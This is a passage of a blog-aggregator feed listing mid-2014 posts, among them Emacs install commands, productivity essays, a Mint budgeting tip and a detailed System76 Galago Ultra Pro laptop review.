you block &lt;em&gt;any&lt;/em&gt; referrer that does not come from your own domain.&lt;/p&gt;
&lt;p&gt;Happy internetting.&lt;/p&gt;</description><author>Ecce Homology on Bastian Grossenbacher Rieck's personal homepage</author><pubDate>Wed, 09 Jul 2014 20:59:44 GMT</pubDate><guid isPermaLink="true">https://bastian.rieck.me/blog/2014/preventing_hotlinking_from_certain_domains/</guid></item><item><title>New trailer!</title><link>https://etodd.io/2014/07/09/new-trailer/</link><description>&lt;p&gt;Gearing up for &lt;a href="http://mgdsummit.com/"&gt;Midwest Game Developers Summit&lt;/a&gt; this weekend. Tune in next week for my first expo post-mortem.&lt;/p&gt;
&lt;p&gt;In the mean time, the old trailer was looking woefully outdated, so here's a brand new one!&lt;/p&gt;
&lt;div class="video"&gt;&lt;/div&gt;</description><author>Evan Todd</author><pubDate>Wed, 09 Jul 2014 20:29:13 GMT</pubDate><guid isPermaLink="true">https://etodd.io/2014/07/09/new-trailer/</guid></item><item><title>Vanishing Water</title><link>http://what-if.xkcd.com/103/</link><description>&lt;p&gt;This is Randall Munroe and What If at their best. Excellent.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://what-if.xkcd.com/103/"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Wed, 09 Jul 2014 10:04:36 GMT</pubDate><guid isPermaLink="true">http://what-if.xkcd.com/103/</guid></item><item><title>The beginnings of a currency</title><link>https://liza.io/the-beginnings-of-a-currency/</link><description>&lt;p&gt;When I moved back to the PHP version of Gastropoda I implemented snail death, so that snails actually die when their energy reaches 0. This resulted in all of my snails dying because they were both far below 0 (the cron job that depleted their energy daily continued to run while I was on a different branch).&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Wed, 09 Jul 2014 09:33:43 GMT</pubDate><guid isPermaLink="true">https://liza.io/the-beginnings-of-a-currency/</guid></item><item><title>Installing Emacs 24.4 on Linux</title><link>https://xenodium.com/installing-emacs--on-linux</link><description>&lt;pre&gt;&lt;code class="language-{.bash"&gt;sudo apt-get install texinfo build-essential xorg-dev libgtk-3-dev libjpeg-dev libncurses5-dev libgif-dev libtiff-dev libm17n-dev libpng12-dev librsvg2-dev libotf-dev
&lt;/code&gt;&lt;/pre&gt;</description><author>xenodium.com @alvaro</author><pubDate>Wed, 09 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/installing-emacs--on-linux</guid></item><item><title>Installing Emacs 24.4 on Mac OS X</title><link>https://xenodium.com/installing-emacs-24-4-on-mac-os-x</link><description>&lt;p&gt;See Yamamoto's Mac OS X &lt;a href="https://github.com/railwaycat/emacs-mac-port"&gt;port&lt;/a&gt;. To install:&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-{.bash"&gt;$ brew tap railwaycat/emacsmacport
$ brew install emacs-mac
&lt;/code&gt;&lt;/pre&gt;</description><author>xenodium.com @alvaro</author><pubDate>Wed, 09 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/installing-emacs-24-4-on-mac-os-x</guid></item><item><title>A Five-Hour Experiment</title><link>https://josh.works/growth/home/2014/07/09/a-five-hour-experiment/</link><description>&lt;p&gt;&lt;a href="http://joshkaufman.net/"&gt;Josh Kaufman&lt;/a&gt; wrote an excellent book called 
&lt;a href="http://www.amazon.com/gp/product/1591845556/"&gt;The First 20 Hours&lt;/a&gt;.
In it, he carefully plots out a handful of experiments to acquire a reasonable amount of skill in a new thing in twenty hours.&lt;/p&gt;

&lt;p&gt;He studied yoga, windsurfing, programming, 
&lt;a href="http://colemak.com/"&gt;Colemak&lt;/a&gt; typing, 
&lt;a href="http://en.wikipedia.org/wiki/Go_%28game%29"&gt;a form of Chinese chess called Go&lt;/a&gt;, and the ukulele. He spent just twenty hours on each of these subjects, and got to a reasonable level of proficiency.&lt;/p&gt;

&lt;p&gt;I was inspired to try this method, and attempted to learn to type in 
&lt;a href="http://colemak.com/"&gt;Colemak&lt;/a&gt;. (It’s an alternative keyboard layout). I got in a few hours of practice, got my words-per-minute to just above ten (yes. Ten words per minute) and then got distracted and gave up.&lt;/p&gt;

&lt;p&gt;So - I’m going to try again, but I’m going to see how much I can accomplish in five hours of practice. These hours will certainly not be consecutive. I will practice in short intervals spread over a few days, and I’ll report back my practice.&lt;/p&gt;

&lt;p&gt;Before I start I’ll define success, very carefully. More on that later. One of my metrics of success will be to write a 100-word post using Colemac in less than five minutes. Phew.&lt;/p&gt;

&lt;p&gt;&lt;a href="http://static1.squarespace.com/static/556694eee4b0f4ca9cd56729/56035dbbe4b07ebf58d79d16/5586fe5be4b0278244cea151/1434910444311/2014-04-09-07-21-36.jpg"&gt;&lt;img alt="I've spent a lot more than five hours preparing eggs, bacon, omelets, and other sorts of breakfast foods. Practice makes better!" src="/squarespace_images/static_556694eee4b0f4ca9cd56729_56035dbbe4b07ebf58d79d16_5586fe5be4b0278244cea151_1434910444311_2014-04-09-07-21-36.jpg_" /&gt;&lt;/a&gt;&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Wed, 09 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/growth/home/2014/07/09/a-five-hour-experiment/</guid></item><item><title>YourStory Interview</title><link>https://boyter.org/2014/07/yourstory-interview/</link><description>&lt;p&gt;&lt;a href="http://yourstory.com/author/aditya-dwivedi/"&gt;Aditya Dwivedi&lt;/a&gt; recently did an interview with me about searchcode. You can view it &lt;a href="http://yourstory.com/2014/07/aussie-coder-benjamin-boyter/"&gt;here over on yourstory.com&lt;/a&gt; and it covers how the idea came about, some of the issues and where I think the future lies for the project.&lt;/p&gt;
&lt;p&gt;Going to include an extract below in case bit rot sets in.&lt;/p&gt;
&lt;p&gt;How this Aussie coder is making life easy for techies around the world with searchcode&lt;/p&gt;
&lt;p&gt;You are busy building your product and then someone comes and tells you that what you’ve been doing has already been done by someone. Most of the times you just need to do some modification or add some functionality to customize the product. What do you do in that case? Reinventing the wheel is the last option you might want to take.&lt;/p&gt;</description><author>Ben E. C. Boyter</author><pubDate>Wed, 09 Jul 2014 01:58:58 GMT</pubDate><guid isPermaLink="true">https://boyter.org/2014/07/yourstory-interview/</guid></item><item><title>Precluding Success</title><link>https://zacs.site/blog/precluding-success.html</link><description>&lt;p&gt;Quite some time ago, I started this draft with a simple premise: precluding success is failure of at least one effort in a given area. Put differently, those who have yet to fail in their chosen profession can never attain greatness in that field. Along with this supposition, I included one more stipulation as an addendum to the previous statement: one can, however, substitute knowledge, to a degree, for failure. Regardless of the knowledge amassed relating to a particular skill set or field of study though, the best one can hope for is mediocrity without the essential, formative impact even one failure invariably brings with it. Thus, from these somewhat humble beginnings, I began to craft this article.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/precluding-success.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Tue, 08 Jul 2014 10:25:31 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/precluding-success.html</guid></item><item><title>Got my amateur radio license KK6NXK</title><link>https://blog.nobugware.com/post/2014/07/08/got-my-amateur-radio-license-kk6nxk/</link><description>When I was a young child, I remember listening to an old radio receiver with my grandfather, looking for morse transmission.
30 years later, I take the opportunity to get my radio amateur license in the US, it was not difficult (Technicial license is easy), especially cause US radio amateurs are using the metric system (almost all the time &amp;hellip;), the only difficulties were to learn some terms and simple formulas from french to english and to know some parts of regulation by heart (I have never been able to learn by heart).</description><author>Fabrice Aneche</author><pubDate>Tue, 08 Jul 2014 08:22:33 GMT</pubDate><guid isPermaLink="true">https://blog.nobugware.com/post/2014/07/08/got-my-amateur-radio-license-kk6nxk/</guid></item><item><title>Use an Alarm to Go to Bed</title><link>https://josh.works/growth/climbing/misc/2014/07/08/use-an-alarm-to-go-to-bed/</link><description>&lt;p&gt;Ironically, this is about going to bed early. See, it’s 10:40p, and I’m getting up tomorrow at 6:00. So I’m looking at about 7 hours of sleep. This is perfect. But, that is only if I’m asleep in the next twenty minutes.
I know how long it takes to get ready to leave in the morning. If I want bacon and eggs, a shower, and coffee, I need a little over thirty minutes, but its rushed. An hour is better, and relaxing.&lt;/p&gt;

&lt;p&gt;But I don’t know how long it takes to get ready for bed. If I plan to wake up early, I need to get to bed at the right time. If I set a bed time, I need a “start getting ready for bed” time. And THAT magic time currently escapes me. But if I set a time to wake up in the morning, I should set a time to go to sleep, as well.&lt;/p&gt;

&lt;p&gt;If you can track it, you can change it. I’ve got the means to record this information - all that is left is for me to use it. Isn’t this true in so many areas of life? We have the tools to accomplish incredible things at our finger tips, yet we use none of them.&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Tue, 08 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/growth/climbing/misc/2014/07/08/use-an-alarm-to-go-to-bed/</guid></item><item><title>Illdefined Success is Unattainable</title><link>https://josh.works/growth/2014/07/08/illdefined-success-is-unattainable/</link><description>&lt;p&gt;We all probably have a few projects floating around our head, but they seem daunting.
If it doesn’t seem daunting, it’s not much of a project, and you should either ramp it up until it’s daunting, or discard it.&lt;/p&gt;

&lt;p&gt;So - we have a daunting project. Now what? If you’re like me, you’ll fart around on the internet for a little while, doing “research”. You may take a few, or even many, steps in a certain direction. You’ll possibly feel good about it for a little while.&lt;/p&gt;

&lt;p&gt;But when the enthusiasm fades, you stop the work.&lt;/p&gt;

&lt;p&gt;There are many reasons to stop work on a project. Some of them are good ones. It seems like a waste of time doing work on something you don’t want to do! But if you do want to do it, and can’t, what’s going on?&lt;/p&gt;

&lt;p&gt;I submit this: Without a clear definition of success, it is 
impossible to actually succeed.&lt;/p&gt;

&lt;p&gt;Half the battle is defining success. So, step one of a project should be: Define success.&lt;/p&gt;

&lt;p&gt;&lt;a href="http://static1.squarespace.com/static/556694eee4b0f4ca9cd56729/5586fe4be4b0278244ce9f01/5586fe5ae4b0278244cea13f/1404840689000/2014-07-06-10-31-29.jpg?format=original"&gt;&lt;img alt="Utah is Beautiful. And Hot." src="/squarespace_images/static_556694eee4b0f4ca9cd56729_5586fe4be4b0278244ce9f01_5586fe5ae4b0278244cea13f_1404840689000_2014-07-06-10-31-29.jpg_" /&gt;&lt;/a&gt;&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Tue, 08 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/growth/2014/07/08/illdefined-success-is-unattainable/</guid></item><item><title>There are four things that matter when you die</title><link>https://ho.dges.online/words/commonplace/there-are-four-things-that-matter-when-you-die/</link><description>&lt;blockquote&gt;
&lt;p&gt;Interviews with dying people reveal there are four things that matter when you die: Please forgive me. I forgive you. Thank you. I love you.&lt;/p&gt;
&lt;/blockquote&gt;</description><author>ho.dges.online</author><pubDate>Tue, 08 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://ho.dges.online/words/commonplace/there-are-four-things-that-matter-when-you-die/</guid></item><item><title>I &amp;lt;3 DevOps because I &amp;lt;3 Code: The means to our end</title><link>https://joshuarogers.net/articles/2014-07/i-3-devops-because-i-3-code/</link><description>If you've spent any time looking at the items that I post, you've probably gathered that I'm a developer, but that I have a rather strange habit of not talking about code. I talk about build automation, source control, compiler output, virtualization, proxy servers, and continuous integration, but I barely talk about matters of code. So if I love coding, why do I spend my time talking talking about DevOps rather than code?</description><author>Joshua Rogers</author><pubDate>Mon, 07 Jul 2014 15:00:00 GMT</pubDate><guid isPermaLink="true">https://joshuarogers.net/articles/2014-07/i-3-devops-because-i-3-code/</guid></item><item><title>This URL shortener situation is officially out of control</title><link>http://www.hanselman.com/blog/ThisURLShortenerSituationIsOfficiallyOutOfControl.aspx</link><description>&lt;p&gt;This situation really is crazy. Part of the problem, though, at least where Twitter is concerned, is that Twitter does not use the t.co shortener until &lt;em&gt;after&lt;/em&gt; a tweet is posted, which means after it imposes the 140 character limit. Especially for me where every link to one of my own articles that I post starts with &amp;#8220;zacjszewczyk.com/Structure&amp;#8221;, this makes not using my own shortener&amp;#160;&amp;#8212;&amp;#160;in this case, Bitly&amp;#160;&amp;#8212;&amp;#160;completely impractical. Even then though, there is no real justification for even this many redirects, and especially not as many as Scott found here. Insane.&lt;/p&gt;


                &lt;p&gt;&lt;a href="http://www.hanselman.com/blog/ThisURLShortenerSituationIsOfficiallyOutOfControl.aspx"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Mon, 07 Jul 2014 09:52:06 GMT</pubDate><guid isPermaLink="true">http://www.hanselman.com/blog/ThisURLShortenerSituationIsOfficiallyOutOfControl.aspx</guid></item><item><title>What Do You Do?</title><link>https://josh.works/jobs/growth/home/2014/07/07/what-do-you-do/</link><description>&lt;p&gt;I enjoy meeting new people. Usually, one of the first questions I’ll ask them is “What to you do?”
They usually respond with their occupation, or their status in school. My follow-up question is “When you’re not doing that, what do you do?”&lt;/p&gt;

&lt;p&gt;Sometimes this is a conversational dead-end. Sometimes they really light up. This is always exciting. We’re not our jobs, but we are some component of what we do. So do something that’s exciting, and be excited about it. Do you like knitting? Then knit up a storm. If you like video games, well… maybe that’s exciting. Some folks have monetized their video-game playing. That’s exciting. Do exciting things. Then come tell me about ‘em. I want to hear.&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Mon, 07 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/jobs/growth/home/2014/07/07/what-do-you-do/</guid></item><item><title>Make a Useful Budget in Mint</title><link>https://www.mikekasberg.com/blog/2014/07/06/make-a-useful-budget-in-mint.html</link><description>&lt;p&gt;&lt;a href="https://www.mint.com/"&gt;Mint.com&lt;/a&gt; has always done a great job of showing me
where I spent my money last week or last month, but until recently I was never
able to figure out how to use it to tell me if I could afford to buy that new
pair of shoes. To be really effective, a budget has to easily show me if I can
afford to buy something I want.&lt;/p&gt;

&lt;p&gt;I used to get graphs on Mint.com that looked like this:&lt;/p&gt;

&lt;p&gt;&lt;img alt="Mint graph before &amp;quot;Misc expenses&amp;quot;
trick" src="https://www.mikekasberg.com/images/mint-budget/mint-before-budget.png" /&gt;&lt;/p&gt;

&lt;p&gt;That graph doesn’t really provide much useful information. After coming up with
a new budgeting strategy that is integrated with Mint, it is easy to see more
detailed information in your graphs:&lt;/p&gt;

&lt;p&gt;&lt;img alt="Mint graph after &amp;quot;Misc expenses&amp;quot;
trick" src="https://www.mikekasberg.com/images/mint-budget/mint-after-budget.png" /&gt;&lt;/p&gt;

&lt;p&gt;My new budgeting strategy is based on &lt;a href="https://www.iwillteachyoutoberich.com/"&gt;Ramit
Sethi&lt;/a&gt;’s idea of “guilt-free spending
money”. Essentially, I create a monthly budget of money that I can spend on
whatever I want, without worrying about it.&lt;/p&gt;

&lt;p&gt;Unfortunately, Mint.com doesn’t have built-in functionality that lets you keep
track of how much “guilt-free spending money” you have. But there is a simple
workaround – use Mint’s Misc Expenses category to track everything you buy with
your guilt-free spending money, creating sub-categories as needed. For example,
even though Mint already has a category for Bars &amp;amp; Alcohol, create a #Bars
sub-category under Misc Expenses and use the new category any time you spend
your guilt-free money at a bar. (I use a hashtag in front of my custom
categories so I can tell them apart from the built-in categories.)&lt;/p&gt;

&lt;p&gt;What does this do for you? Because all of your guilt-free spending money
purchases are under the same category (Misc Expenses), you can create a budget
for your guilt-free spending money by simply creating a budget for that
category. You can set it to roll over at the end of the month, and you’ll always
know how much money you can spend without worrying about it. You just have to
make sure things are categorized correctly in Mint. (Maybe re-categorize your
transactions once a week.)&lt;/p&gt;

&lt;p&gt;As an added bonus, you can view graphs to see how you’re spending your
guilt-free spending money by filtering for the “Misc Expenses” category on the
graphs tab. This graph is much more useful than, say, a graph showing that most
of my money went to a check and educational expenses, and the rest went to
“Other”.&lt;/p&gt;

&lt;p&gt;Many people dislike Mint because it is better at showing you how you spent your
money &lt;em&gt;last&lt;/em&gt; month than it is at showing you how you can spend your money &lt;em&gt;next&lt;/em&gt;
month. Tracking your guilt-free spending money in a separate category in Mint
fixes that problem, and makes Mint a much more useful tool.&lt;/p&gt;</description><author>Mike Kasberg's Blog</author><pubDate>Sun, 06 Jul 2014 22:00:00 GMT</pubDate><guid isPermaLink="true">https://www.mikekasberg.com/blog/2014/07/06/make-a-useful-budget-in-mint.html</guid></item><item><title>This Week in Podcasts</title><link>https://zacs.site/blog/this-week-in-podcasts-63014.html</link><description>&lt;p&gt;Another week, (thankfully) another set of great podcasts for your listening pleasure. Be sure to pay special attention to this series&amp;#8217; latest addition, and&amp;#160;&amp;#8212;&amp;#160;as always&amp;#160;&amp;#8212;&amp;#160;enjoy.&lt;/p&gt;
                &lt;p&gt;&lt;a href="https://zacs.site/blog/this-week-in-podcasts-63014.html"&gt;Permalink.&lt;/a&gt;&lt;/p&gt;</description><author>Zac Szewczyk</author><pubDate>Sun, 06 Jul 2014 11:23:34 GMT</pubDate><guid isPermaLink="true">https://zacs.site/blog/this-week-in-podcasts-63014.html</guid></item><item><title>The Power of an Audacious Goal</title><link>https://josh.works/growth/home/2014/07/06/the-power-of-an-audacious-goal/</link><description>&lt;p&gt;I generally try to hedge the risks I face. I’m no daredevil, nor do I love danger, but I do love pursuing opportunities that take me beyond my comfort zone. The funny thing about going beyond your comfort zone is that once you’ve done it once or twice, you redefine your comfort zone to encompass that thing.&lt;/p&gt;

&lt;p&gt;Public speaking is an easy example. Many people are terrified of it, but once they’ve done it a few times, it is no big deal. They would have to speak in front of a larger audience to feel nervous, but once they have done that, they now find that comfortable.&lt;/p&gt;

&lt;p&gt;For this reason, I recommend you start building an audacious goal. Who knows what it is? You probably don’t even know what it is yet. Kristi and I had one, and just knocked it off the list. We moved to Colorado. Last night we were sketching out our next one. It’s invigorating, to be working towards a goal.&lt;/p&gt;

&lt;p&gt;Anxious and overwhelmed? That means you’re doing it right. Here’s a way to move forward: http://chrisguillebeau.com/what-to-do-when-you-feel-overwhelmed/&lt;/p&gt;

&lt;p&gt;&lt;a href="http://static1.squarespace.com/static/556694eee4b0f4ca9cd56729/56035dbbe4b07ebf58d79d16/5586fe5ae4b0278244cea11b/1434910448937/2014-07-05-18-00-27.jpg"&gt;&lt;img alt="We're not planning on converting." src="/squarespace_images/static_556694eee4b0f4ca9cd56729_56035dbbe4b07ebf58d79d16_5586fe5ae4b0278244cea11b_1434910448937_2014-07-05-18-00-27.jpg_" /&gt;&lt;/a&gt;&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Sun, 06 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/growth/home/2014/07/06/the-power-of-an-audacious-goal/</guid></item><item><title>To the Node and back</title><link>https://liza.io/to-the-node-and-back/</link><description>&lt;p&gt;I spent a couple of weeks porting Gastropoda from PHP to Node.js after caving in to peer pressure and hearing &amp;ldquo;PHP sucks&amp;rdquo; from every side imaginable.&lt;/p&gt;</description><author>Liza Shulyayeva</author><pubDate>Sat, 05 Jul 2014 16:11:20 GMT</pubDate><guid isPermaLink="true">https://liza.io/to-the-node-and-back/</guid></item><item><title>Corollas and U-Hauls</title><link>https://josh.works/jobs/growth/home/2014/07/05/corollas-and-u-hauls/</link><description>&lt;p&gt;These last few posts have a theme. We moved. I’m writing about it a lot because I thought about it a lot, and a lot of work went into it.
When moving across the country, you have a few options. You could higher a moving company, who comes and boxes up your house, packs a truck, drives the truck, and unpacks it when you arrive. This is expensive.&lt;/p&gt;

&lt;p&gt;You can also get a movable storage container, like a POD. This is expensive.&lt;/p&gt;

&lt;p&gt;You can rent a truck that fits all your things, and tow your car behind it. This is expensive. It would have been about $2300 for us to go this route.&lt;/p&gt;

&lt;p&gt;So, we towed a U-haul behind our Corolla.&lt;/p&gt;

&lt;p&gt;The total price, including getting a hitch installed, was about $500. It was 4x8x4. 128 cubic feet.&lt;/p&gt;

&lt;p&gt;Because of the weight, we didn’t go much faster than 60 mph the entire drive out. Nineteen hours of driving the first day, sixteen the second.&lt;/p&gt;

&lt;p&gt;&lt;a href="http://static1.squarespace.com/static/556694eee4b0f4ca9cd56729/56035dbbe4b07ebf58d79d16/5586fe59e4b0278244cea115/1434910452740/2014-06-28-11-30-43.jpg"&gt;&lt;img alt="I took this picture as I was dropping the trailer off. Didn't take a picture of the trailer on my car, for some reason." src="/squarespace_images/static_556694eee4b0f4ca9cd56729_56035dbbe4b07ebf58d79d16_5586fe59e4b0278244cea115_1434910452740_2014-06-28-11-30-43.jpg_" /&gt;&lt;/a&gt;&lt;/p&gt;</description><author>Josh Thompson</author><pubDate>Sat, 05 Jul 2014 03:00:00 GMT</pubDate><guid isPermaLink="true">https://josh.works/jobs/growth/home/2014/07/05/corollas-and-u-hauls/</guid></item><item><title>Pair Programming - The Lightning Talk Version</title><link>https://www.brightball.com/articles/pair-programming-the-lightning-talk-version</link><description>Lightning talk introduce pair programming based on information gleaned from RailsConf 2014. Bulk of the credit for this presentation goes to Chuck Lauer Vose of New Relic and Joe Moore of Pivotal Labs.</description><author>Brightball Articles</author><pubDate>Fri, 04 Jul 2014 18:49:00 GMT</pubDate><guid isPermaLink="true">https://www.brightball.com/articles/pair-programming-the-lightning-talk-version</guid></item><item><title>Exploring Ruby on Rails and PostgreSQL</title><link>https://www.brightball.com/articles/exploring-ruby-on-rails-and-postgresql</link><description>An overview of Ruby, jRuby, Rails, Torquebox, and PostgreSQL that was presented as a 3 hour class to other programmers at The Ironyard in Greenville, SC in July of 2013. The Rails specific sections are mostly code samples that were explained during the session so the real focus of the slides is Ruby, "the rails way" / workflow / differentiators and PostgreSQL.</description><author>Brightball Articles</author><pubDate>Fri, 04 Jul 2014 18:39:00 GMT</pubDate><guid isPermaLink="true">https://www.brightball.com/articles/exploring-ruby-on-rails-and-postgresql</guid></item><item><title>A month with the System76 Galago Ultra Pro</title><link>https://captnemo.in/blog/2014/07/04/galago-ultra-pro-review/</link><description>&lt;p&gt;With my recent &lt;a href="/blog/2014/06/03/cctc-wave-3/"&gt;CCTC Winnings&lt;/a&gt;, I decided to purchase a new laptop as my old Dell Inspiron was not performing up to the mark. Being of a time before the Intel i-series launch, it was also severely lacking in several features, most notably virtualization support, which is badly needed these days.&lt;/p&gt;

&lt;p&gt;After taking a thorough look at the various offerings in the market (and being disappointed by most of them), I decided to go with the [System Galago Ultra Pro][galago] for the following reasons:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Linux Support (Just Ubuntu actually, but its nice to have a laptop that supports and comes with Linux pre-installed).&lt;/li&gt;
  &lt;li&gt;Intel HD 5200 Graphic Card. Even though the nVidia/ATI support has been getting better in Linux these days, I wanted a graphic card that I could use without worry, for both playing games, using webGL without having to worry about things like overheating and switching card modes (optimus/bumblebee and whatnot).&lt;/li&gt;
  &lt;li&gt;Haswell. Not many manufacturers are currently offering Haswell lineups, and System76 is one of the few with them in the market.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The other few machines I did consider included the Apple MBP, Lenovo Ideapad, Dell Sputnik 13. The MBP was rejected because I wanted a Linux machine, and it was overly costly; the Ideapad had a touch screen, which I abhor; and finally the Sputnik is too expensive as well.&lt;/p&gt;

&lt;p&gt;A few other machines were rejected because I was exclusively looking for a 14-inch screen, due in part to my experience with my previous bulky machine.&lt;/p&gt;

&lt;h2 id="hardware-review"&gt;Hardware Review&lt;/h2&gt;
&lt;p&gt;The build quality of the Galago is above average, but its still a flimsy offering, when compared to the MBP or other business class offerings such as the Vostro. A lot of the Galago reviews on the internet talk about the defective keyboards, but I faced no such issues. It seems to have been fixed, and the keyboard has been iterated several times since, I think.&lt;/p&gt;

&lt;p&gt;The IPS screen (1920x1080) is a real gem, and I’ve gotten used to watching everything in full HD these days. The laptop has 2 small fans on the lower side, and they hardly ever kick in, making it a quiet laptop. The only times it heats up much is when I’m playing demanding games or doing something GPU intensive. A few issues that I’ve actually faced with it include:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;The &lt;code class="language-plaintext highlighter-rouge"&gt;Esc&lt;/code&gt; key not responding to all presses. I have to hit it with a slightly extra pressure for each keypress to register. However, this is just a quirk I’ve come to accept, and work around. My muscle memory soon overtook and I’m now used to pressing it hard.&lt;/li&gt;
  &lt;li&gt;Missing Media keys. It does have the usual Mute, Volume, and the Play/Pause keys, but the next/previous media keys are missing on the keyboard.&lt;/li&gt;
  &lt;li&gt;The charger getting heated up (a lot). It even heats up when the charger is not connected to the laptop.&lt;/li&gt;
  &lt;li&gt;The inbuilt speaker quality is definitely not above average. I usually use my earphones with it, so its not much trouble to me anyway.&lt;/li&gt;
  &lt;li&gt;The “clickpad” becomes a “touchpad” in Windows, which means drag-drop becomes extremely uncomfortable if you’re not used to it. I’ve installed the official touchpad drivers in Windows from knowledge76, but I could not find a setting to use “clicks” instead of “touch”.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;As an aside, I really like the keyboard layout (I don’t like numeric keypads much) and the placement of Del-End keys, which is incidentally same as my previous laptop. I really dislike those layouts where you have to press a combination of Fn+Some key just to trigger Page Up/Down. A note to laptop manufacturers : &lt;a href="http://arstechnica.com/staff/2014/01/stop-trying-to-innovate-keyboards-youre-just-making-them-worse/"&gt;Please stop messing with the keyboards&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Having a branded Ubuntu key is also a good show-off at some places :) I also have to mention that the laptop is very silent. The fans rarely kick in, and I have faced no heating issues so far.&lt;/p&gt;

&lt;h2 id="software-side"&gt;Software Side&lt;/h2&gt;
&lt;p&gt;Despite being built for Linux, I’ve still faced a few software issues on Linux. None of these are a deal-breaker though for me. The first time I realized that it wasn’t really built for Linux was when I booted using my external to Ubuntu 12.04 and the WiFi didn’t work. Apparently you need a combination of System 76 custom (though open-source) drivers and 14.04 on this machine to get the drivers to work. This is one of the reasons I haven’t downgraded to Elementary Luna (which is based on Ubuntu 12.04). The issues I’ve faced (along with my workarounds) include:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Flash not working on Google Chrome Stable. I talked to System76 support over this, and I’m yet to get it working. As a workaround, I’ve been using Google Chrome Unstable (which I usually use anyway), and it detects flash fine.&lt;/li&gt;
  &lt;li&gt;WebGL support in Chrome is a bit sketchy. Chrome stable doesn’t detect the graphic card as supported, while the Chrome Unstable version did detect it as working for a while, but the graphic card was either removed from the whitelist, or added to the blacklist in a future update, making it non-working again. Currently, I’m using the “Disable WebGL Blacklist” flag from &lt;code class="language-plaintext highlighter-rouge"&gt;chrome://flags&lt;/code&gt; to get it working.&lt;/li&gt;
  &lt;li&gt;Webcam not being detected. This has gotten me a bit puzzled. It was working fine on the fresh Ubuntu 14.04 setup, but some driver issue is preventing it from working now. I think a dist-upgrade should fix it, but I’m not sure. I might try to re-install the &lt;code class="language-plaintext highlighter-rouge"&gt;system76-driver&lt;/code&gt; package if that doesn’t work. &lt;strong&gt;Update&lt;/strong&gt;: It started working again after just a restart.&lt;/li&gt;
  &lt;li&gt;Another minor issue I face is that the brightness key on the keyboard (Fn+F8/F9) allows you to take the brightness level all the way down to &lt;em&gt;zero&lt;/em&gt;. So you could make your screen pitch-black, with absolutely no idea how to get it back to normal. This happens only on ubuntu, though.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id="overall"&gt;Overall&lt;/h2&gt;
&lt;p&gt;Despite its few quirks, I’m liking my new laptop. I’m enjoying gaming on it (on both Linux and Windows), and it has more than enough power to run whatever combination of VMs I want to.&lt;/p&gt;

&lt;h2 id="gaming"&gt;Gaming&lt;/h2&gt;
&lt;p&gt;All the Linux games from my various Humble Bundle purchases are finally being put to good use. The only game that I haven’t been able to run is Oilrush, which doesn’t support Intel Graphic cards on Linux for some reason. Some of the games that I’ve tried and enjoy on Linux include:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Mark of the ninja&lt;/li&gt;
  &lt;li&gt;The Swapper&lt;/li&gt;
  &lt;li&gt;Don’t Starve&lt;/li&gt;
  &lt;li&gt;Fez&lt;/li&gt;
  &lt;li&gt;Bit Trip Runner 2&lt;/li&gt;
  &lt;li&gt;Counter Strike: Source&lt;/li&gt;
  &lt;li&gt;Portal&lt;/li&gt;
  &lt;li&gt;Half-Life 2&lt;/li&gt;
  &lt;li&gt;Civilization 5&lt;/li&gt;
  &lt;li&gt;Trine 2&lt;/li&gt;
  &lt;li&gt;Minecraft&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Trine 2 does show some noticable lag on full settings, but its not supported on Intel drivers anyway. Rest of the games run wonderfully on full settings.&lt;/p&gt;

&lt;p&gt;I haven’t tried gaming much on Windows, but I do play Blur (admittedly a 3 year old game) sometimes on it at the highest settings.&lt;/p&gt;

&lt;h2 id="specs"&gt;Specs&lt;/h2&gt;
&lt;p&gt;The only thing I upgraded in my laptop was an increase in RAM from the default of 4GB to 8GB, primarily because I intend to run lots of VMs on this machine. The rest is same as the specs &lt;a href="https://system76.com/laptops/model/galu1"&gt;on the official site&lt;/a&gt; (scroll to bottom):&lt;/p&gt;

&lt;div class="language-plaintext highlighter-rouge"&gt;&lt;div class="highlight"&gt;&lt;pre class="highlight"&gt;&lt;code&gt;Processor: Intel(R) Core(TM) i7-4750HQ CPU @ 2.00GHz
RAM: Samsung, SODIMM DDR3 Synchronous 1600 MHz (0.6 ns), M471B5173QH0-YK0 (4GiB) x2
Graphic Card: Intel Iris Pro Graphics 5200 with 128 MB eDRAM, Crystal Well Integrated Graphics Controller
Hard Disk:  Western Digital, WDC WD5000LPVX-2, 500GB (465GiB)
Memory: 8GB 204 pin Dual Channel DDR3 @ 1600 MHz (2x4GB)
Intel ME Version: 9.0.20.1447
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

